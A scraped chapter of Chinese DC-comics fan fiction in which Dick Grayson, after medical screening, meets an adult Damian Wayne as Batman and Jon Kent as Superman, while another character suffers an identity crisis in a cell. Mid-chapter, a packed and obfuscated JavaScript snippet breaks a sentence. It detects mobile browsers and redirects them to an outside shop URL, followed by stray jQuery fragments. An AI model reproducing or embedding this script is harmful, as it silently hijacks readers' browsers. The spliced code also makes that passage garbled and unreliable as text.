文趣网 > 其他小说 > [综英美]我的猫今天也在炸毛 > 30.初步交流
    迪克跟着蝙蝠侠穿过了狭长安静的走道,本以为蝙蝠侠会直接带他去审讯室的。

    但几人被带到了最里面的一个隔离舱,内部配有全套医疗设备,还有几个身穿防护服的医护人员严阵以待。

    红头罩去了隔壁,从里头传来医生压低音量的交谈声,应该是去检查内伤了。迪克收回目光,和神奇女侠一起步入隔离舱。

    迪克的伤口已经经过初步包扎,这会儿要做的应该不只是清理伤口。

    他面不改色地在一侧病床坐下,果然一个全身包裹严实的医生走过来,将他的衣服剪开以便清理,打完破伤风再缝合好伤口,期间还将带下来的碎肉和血液纱布全部密闭收纳好,传递给了外部在等待的人,要去做进一步检查。

    神奇女侠那边也是这样的待遇。她之前遭受感染的消息已经传开了,此时那个为她检查的医护人员有些战战兢兢。

    女神的自愈能力极强,此时身上的大面积烧伤已经好的差不多了,只是满身血污格外吓人。她的背脊挺得笔直,但动作尽量柔和放轻,方便医护人员的各种操作。

    接下来还有一系列扫描,从骨骼到血管再到器官,流程很多,但快速且精准。这个世界没有时间了,所有人必须争分夺秒。

    结果很快就出来了,应该是专门为两人开了快速通道。

    事实证明,柯瑞梅尔报的那一连串【治愈式】真的有效果。

    迪克的各方面指标都干干净净,没有检测出反生命方程式的残留,戴安娜的也一样。最令人欣喜的发现是,连戴安娜身上几近干涸的黑血都没有检测出腐败和自灭的因子——这可是最大的好消息,目前为止第一例成功摆脱反生命方程式的人出现了。

    这给了所有人以莫大的希望,实验室里的科研人员欢呼雀跃,甚至有人相拥而泣。

    咚咚,是手甲敲在门框上的声音,蝙蝠侠按开了隔离舱的大门。

    “你可以去洗漱了。”蝙蝠侠对着戴安娜还算和颜悦色,旁边有神情激动的医护人员脱下口罩前来引路。

    戴安娜起身,经过迪克时拍了拍他完好的那边肩膀,面容上是坦然的歉意,先行离开了。

    蝙蝠侠扔来一团衣服,迪克接住再抬头看去,门口已经不见对方身影。他挑挑眉,第一次感受到戈登警长经常向他们抱怨的转头没,这感觉挺新奇的。

    衣服是方便伤号的开襟带扣款,待迪克整理完毕走出门外,整个走廊里都是弥散的消毒水味。蝙蝠侠抱臂靠在门框边,似在等他。

    二人一路无言,走到了新的地点。迪克环顾一圈,这里看着不像是审讯室,倒像是议事的地方。

    说是会议室也不至于,其实就是据点里的一个收捡出来的大房间。

    正中是一张大圆桌和几把办公椅,旁边的公告栏贴满了战时线报和物资调配,桌上内网使用的电脑熄屏待机,显然也是加了魔法防护的电子产品,纵观左右,已经是人类方能拾掇出的还算清爽的决策空间了。

    蝙蝠侠于公告栏前抱臂而立,没有卸下头盔和手甲的征兆,也没有主动开口的意思,姿态就是摆明了的:看你能主动交代点什么,而那将决定接下来他的态度。

    迪克打量着这个陌生的黑漆漆。

    身高、体重、肩宽、习惯动作……都不属于自己熟悉的任何一个人,但这无疑是一具经过千锤百炼、极具爆发力的身体。

    迪克内心无奈,好吧,谁让他真的是外来人。他先开口道:“想必你猜到了,我不是这个世界的人。”

    红头罩在战场上的那句话足以泄露不少信息,以蝙蝠侠的脑子,至少有几种备选的可能性陈列出来了。哦,迪克当然指的是自己熟悉的那一位。

    蝙蝠侠短促地哼了一声,“看出来了。”

    迪克借着伤,扶桌缓缓坐下,期间温和放缓了自己的表情,像在安抚草原上伺机而动的狮王。他诚恳道:“我和红头罩解释过一遍,当然也可以和你说明来龙去脉。但你知道我的身份,作为交换,我希望也能知道你是谁?”

    蝙蝠侠没有马上回答。

    他也在端详打量着这个年纪的迪克。

    年轻得有些陌生,是记忆中初次见面的岁数,和现在的自己差不多大小。

    没有来到异世界的慌张,是彼此平等交流的姿态,和以前迪克做蝙蝠侠带他的时期很相似,沉稳冷静,始终用谈判和对话作为外交手段,是一位优秀的领导者。

    ……和这个世界的迪克很像。

    但自己现在是唯一的蝙蝠侠。

    看着坚定盯着他的迪克,蝙蝠侠考虑了一下,肩甲传来细微的摩擦声,做出了决定。他点下暗扣,手甲被轻巧取下,指节分明边缘带茧的手扣住头盔下缘,向上掀开。

    迪克愣住了。

    眼前的脸型和布鲁斯很相似,但充满了异域的野性风格。肤色微深,眉飞入鬓像两把出鞘的利刃。瞳仁是神秘的透绿色,如上品的祖母绿宝石,在阴暗的房间里仍然倔强地发着亮。

    这张脸和布鲁斯有血缘关系,没有任何疑问。联系到这是他们世界的十几年后,眼前的这个人很可能是布鲁斯的后裔。

    等等但是,这人看着差不多二十出头!也就是说,自己世界的布鲁斯现在就有一个流落在外的好几岁了的私生子?!迪克被自己的猜测震惊到差点把舌头吞掉。

    “满意了?”对方的声音不再经过变声器的处理,带着沙漠夜风的干燥与青年人的冷峻。“我猜你们的世界还没有我。”

    迪克有些磕巴:“确实,介意我问问你的名字吗?”

    他真的很在意孩子是不是在外面跟单身母亲艰难地讨生活。

    一个画面不可抑制的糊他一脸:年轻的女人抱着婴儿,站在雨里凄风苦雨地看着韦恩庄园的铁门。那女人不敢进去,因为她不确定那个姓韦恩的会不会认下这个孩子。

    天哪布鲁斯,看你干的好事!还天天把嘴架在我身上,结果你自己都不做好安全措施?!

    “TT。”蝙蝠侠熟悉他这幅联想很多的傻样,嫌弃地撩撩嘴皮子。

    然后他眉峰高挑下巴一扬,展现了迪克此前从未见识过的鼻孔式打招呼:“达米安·韦恩。”

    他把韦恩这个音节咬得很重,仿佛强调这件事:“布鲁斯·韦恩的亲生儿子。如你所见,是蝙蝠侠唯一正统的继承人。”

    ……布鲁斯!!!迪克的大脑被尖叫刷屏,甚至没能关注自己现在的表情。

    会议室的大门被推开来,超人没有敲门直接飘了进来,惹来蝙蝠侠不悦的瞥视。

    氪星能力维持他的一身干净,但这一趟是从前线归来,战况激烈。超人表情严肃,直接开口汇报情况:“金丝雀和渡鸦回不来。丧尸潮在往河边的方向移动,她们必须守住那边,不然大都会据点会被侧面突破。”

    “只有我们几个开会了。”超人扫了一眼发愣的迪克。

    刚刚的对话内容他也听到了,小时候乔纳森对康纳和达米安的身份没有概念,现在回想起来,这两人确实像从石头里蹦出来的,那么突然的就闯进了生活。异世界的迪克突然知道这个消息,受到冲击也可以理解。

    这两个人确实给他们世界带来了转机。达米安得到检查结果后,直接把迪克带来了会议室可以说明一切——不过是仗着迪克对他不了解,在恐吓人罢了。

    迪克看着超人。乔纳森对上了他的目光,嘴角扬起。

    “迪克哥哥。”乔纳森声音里带着自然的亲昵,“我是乔纳森。乔纳森·肯特。”

    哦天哪,那个笑容和克拉克一模一样,是那种自带太阳光晕的笑容。迪克的脑子又短路了一下,打招呼道:“嗨,小乔。你长大了。”

    话刚出口他就想摘掉自己的舌头。这什么爹味发言?别太离谱了,理查德·格雷森,这个世界的他和你差不多大。

    乔纳森没有在意。他落到地上,走过来弯腰轻轻抱了抱迪克,很注意地避开了肩膀的伤处,“很高兴见到你。”

    Awww,迪克觉得自己的眼眶有些发烫。他感受到乔纳森身上的那种说不清的、属于氪星人的味道,像阳光晒过的棉被。

    这个世界承受的伤痕在此刻袭击了他。义警们好像总是习惯将痛楚放在最深的地方,解决事件永远处于优先级顶端,因为停下来消化情绪的时间足以让其他人死去。

    达米安啧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537489|202362||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一声,没有想要参加抱抱熊集会的意思。

    迪克努力把喉头的哽塞咽下去。乔纳森松开手,还是那种温和的笑容,他冲达米安一点头:“我去叫大家来开会。”

    这个世界已经死了太多人了,活下来的人要替他们把路走完。

    “现在,我需要知道一切。”达米安落座于主位,双手交握于桌面。

    “你们是怎么到这里来的,那个氪星人又是怎么回事?最重要的是,从哪弄来的反生命方程式的解法?”

    另一边的关押室,柯瑞梅尔躺在行军床上,盯着天花板上那根频闪的灯管,不知道什么时候能把他放出去。

    本来静谧祥和的营地BGM在安静的牢房里被放大了很多倍,他有些烦躁的抬手捂住了自己的耳朵。想当然的,没有阻挡住游戏系统贯通灵魂的音乐。

    柯瑞梅尔抱着头,像个扭曲的玩偶一样在床上拱来拱去,好半天无意义的消磨时间后,他莫名注意到自己胸腔里有力的搏动。

    咚,咚,咚。心跳声太大了,好吵。

    人是这样的,烦起来连自己的心跳声都嫌。

    嗯?但是,以前在BGM之下,还有心跳声吗?

    当意识到这个问题的时候,柯瑞梅尔发现他耳朵里汩汩的血流声停止了。心跳声断线,有一种难以言喻的嗡鸣声填满了他的思绪,像断开链接的雪花屏,将游戏BGM也排除在外。

    之前红头罩的话语在脑子里如卡带般反复回放——“有得必有失。最好想清楚,能否支付得起一切的代价。”

    他究竟为什么会穿越?

    穿越前他不过是个再平常不过的学生仔,过着普普通通一个乡下人的幸福生活。每天骑自行车上下学,有空会帮爸妈农活,闲来约朋友打球,定期追更超级英雄漫画。

    还记得万圣节那天晚上,他穿着超人的cos服参加学校的化妆舞会。那套衣服是在镇里的周边店买的,可以当睡衣穿的那种便宜货,遭到了朋友们的一致倒拇指——都说他像一个营养不良的麻杆,没有哪个克拉克会像他这样。

    好吧,他下定决心要锻炼肌肉,让玛莎给他买蛋白粉的那种决心。

    后来,有人说那晚有哈雷彗星,几十年难得一遇。他们组团去了沙滩,找了一块没有夜灯污染的空地。有人在弹吉他,有人在谈恋爱,他就晃着脚丫子躺在沙子上等。看着满天的星星,等待一个一生一次的擦肩而过。

    ……再之后的记忆就没有了。

    他不知道自己怎么去到那个空白的空间,也不记得这个游戏从哪冒出来的。

    “代价……”柯瑞梅尔喃喃自语。

    这游戏根本就不是正经游戏的样子。谁家好人游戏引导性做得这么差?系统从来不主动解释任何事,所有机制都要靠他自己摸索。任务总是临时临了发布,还总是在事件发生后才弹出提示。

    突然有一个可怕的念头闪过——

    到底是发生了事件才有的任务,还是发布了任务才有的事件?

    柯瑞梅尔不敢细想下去。这个猜测像一根倒刺长在了心脏上,一动就隐隐作痛。他听着自己胸腔里重新鼓动起来的,巨大而陌生的声音,甚至不确定自己之前有没有心跳。

    他还是个人吗?脱离代号,他到底是谁?他的过去究竟是不是真实的?

    天花板的灯管闪了闪,有什么看不见的力量在挤压燃烛的氧气,地面的微尘震动漂浮起来。

    柯瑞梅尔没有注意到这个变化。他的视线有些模糊,灯管的轮廓在水光里晕成一条惨白的虹光。

    系统到底是什么?他只是从常识知道,玩游戏要有系统,但这……真的是游戏吗?

    只有他能看到的特殊存在和某些处理过的十八加……

    他不想思考,不想面对。

    走廊外的守卫不会知道,有人正在经历这辈子最漫长的一次自我怀疑。

    好像有过这样的经历……全世界只剩他一个人被永生永世囚禁在无边的黑暗中,只有孤独与他为伍。

    泪水从眼角滑下,流过太阳穴,浸进耳廓里。他听到了自己眼泪滴落的声音,很小,很轻,像坏掉的八音盒,在卡壳中死掉。